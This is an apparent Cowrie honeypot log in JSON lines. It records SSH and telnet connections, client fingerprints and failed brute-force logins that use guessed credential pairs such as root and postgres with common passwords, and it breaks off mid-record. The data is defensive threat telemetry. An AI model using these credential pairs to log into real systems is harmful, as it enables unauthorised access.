{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:53.064527Z","src_ip":"223.197.186.7","session":"7394751e17ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dc123456@","message":"login attempt [root/Dc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:54.725397Z","src_ip":"223.197.186.7","session":"7394751e17ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:55.957044Z","src_ip":"223.197.186.7","session":"7394751e17ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":41452,"dst_ip":"10.17.0.5","dst_port":23,"session":"23c2ac0f7117","protocol":"telnet","message":"New connection: 94.23.66.112:41452 (10.17.0.5:23) [session: 23c2ac0f7117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:02.373195Z"}
{"eventid":"cowrie.session.closed","duration":0.005688905715942383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:02.378751Z","src_ip":"94.23.66.112","session":"23c2ac0f7117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46716,"dst_ip":"159.203.135.109","dst_port":23,"session":"523c407dca5d","protocol":"telnet","message":"New connection: 170.64.224.25:46716 (159.203.135.109:23) [session: 523c407dca5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:12.633392Z"}
{"eventid":"cowrie.session.closed","duration":34.29766821861267,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:13.342050Z","src_ip":"170.64.224.25","session":"3586d698e044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":43468,"dst_ip":"159.203.135.109","dst_port":22,"session":"786076161bb4","protocol":"ssh","message":"New connection: 223.17.1.118:43468 (159.203.135.109:22) [session: 786076161bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:24.666870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:24.671292Z","src_ip":"223.17.1.118","session":"786076161bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:24.880620Z","src_ip":"223.17.1.118","session":"786076161bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweQWE","message":"login attempt [ubuntu/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:25.748522Z","src_ip":"223.17.1.118","session":"786076161bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:26.960865Z","src_ip":"223.17.1.118","session":"786076161bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":48998,"dst_ip":"159.203.135.109","dst_port":22,"session":"805433857ec1","protocol":"ssh","message":"New connection: 161.248.201.12:48998 (159.203.135.109:22) [session: 805433857ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:38.112248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:38.116239Z","src_ip":"161.248.201.12","session":"805433857ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:38.371139Z","src_ip":"161.248.201.12","session":"805433857ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r00t","password":"A@0599343813A@0599343813A@0599343813","message":"login attempt [r00t/A@0599343813A@0599343813A@0599343813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:39.425056Z","src_ip":"161.248.201.12","session":"805433857ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:40.683748Z","src_ip":"161.248.201.12","session":"805433857ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.63876914978027,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:54.272033Z","src_ip":"170.64.224.25","session":"523c407dca5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":60198,"dst_ip":"159.203.135.109","dst_port":22,"session":"635fa7ab2a1e","protocol":"ssh","message":"New connection: 167.86.88.212:60198 (159.203.135.109:22) [session: 635fa7ab2a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:59.807027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:59.813501Z","src_ip":"167.86.88.212","session":"635fa7ab2a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:53:59.904944Z","src_ip":"167.86.88.212","session":"635fa7ab2a1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"password1234","message":"login attempt [guest/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:00.312139Z","src_ip":"167.86.88.212","session":"635fa7ab2a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56306,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe1295a1d2ee","protocol":"telnet","message":"New connection: 170.64.224.25:56306 (159.203.135.109:23) [session: fe1295a1d2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:00.533026Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:01.407721Z","src_ip":"167.86.88.212","session":"635fa7ab2a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42248,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b6ec16f003d","protocol":"telnet","message":"New connection: 170.64.224.25:42248 (159.203.135.109:23) [session: 7b6ec16f003d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:08.899855Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":50006,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9493d04dbed","protocol":"ssh","message":"New connection: 91.92.40.4:50006 (10.17.0.5:22) [session: f9493d04dbed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:12.502926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:12.509777Z","src_ip":"91.92.40.4","session":"f9493d04dbed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:12.634216Z","src_ip":"91.92.40.4","session":"f9493d04dbed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pass","message":"login attempt [postgres/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:13.038048Z","src_ip":"91.92.40.4","session":"f9493d04dbed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:14.121136Z","src_ip":"91.92.40.4","session":"f9493d04dbed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":41354,"dst_ip":"159.203.135.109","dst_port":22,"session":"35a72180d848","protocol":"ssh","message":"New connection: 217.160.226.51:41354 (159.203.135.109:22) [session: 35a72180d848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:22.619505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:22.623109Z","src_ip":"217.160.226.51","session":"35a72180d848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:22.740715Z","src_ip":"217.160.226.51","session":"35a72180d848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40794,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eecbbfea1cd","protocol":"telnet","message":"New connection: 170.64.224.25:40794 (159.203.135.109:23) [session: 1eecbbfea1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:22.937621Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xz123456","message":"login attempt [root/Xz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:23.213945Z","src_ip":"217.160.226.51","session":"35a72180d848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:24.325881Z","src_ip":"217.160.226.51","session":"35a72180d848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40796,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc567762e092","protocol":"telnet","message":"New connection: 170.64.224.25:40796 (159.203.135.109:23) [session: cc567762e092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:24.722676Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34224,"dst_ip":"159.203.135.109","dst_port":23,"session":"5237e1c53630","protocol":"telnet","message":"New connection: 170.64.224.25:34224 (159.203.135.109:23) [session: 5237e1c53630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:33.851131Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":41136,"dst_ip":"10.17.0.5","dst_port":22,"session":"508d24a01cc4","protocol":"ssh","message":"New connection: 194.36.147.215:41136 (10.17.0.5:22) [session: 508d24a01cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:39.959150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:39.962949Z","src_ip":"194.36.147.215","session":"508d24a01cc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:40.052039Z","src_ip":"194.36.147.215","session":"508d24a01cc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"defi456","message":"login attempt [root/defi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:40.322508Z","src_ip":"194.36.147.215","session":"508d24a01cc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:41.414016Z","src_ip":"194.36.147.215","session":"508d24a01cc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":41922,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed3ea9b3cc5c","protocol":"ssh","message":"New connection: 143.20.185.207:41922 (159.203.135.109:22) [session: ed3ea9b3cc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:48.087606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:48.091648Z","src_ip":"143.20.185.207","session":"ed3ea9b3cc5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 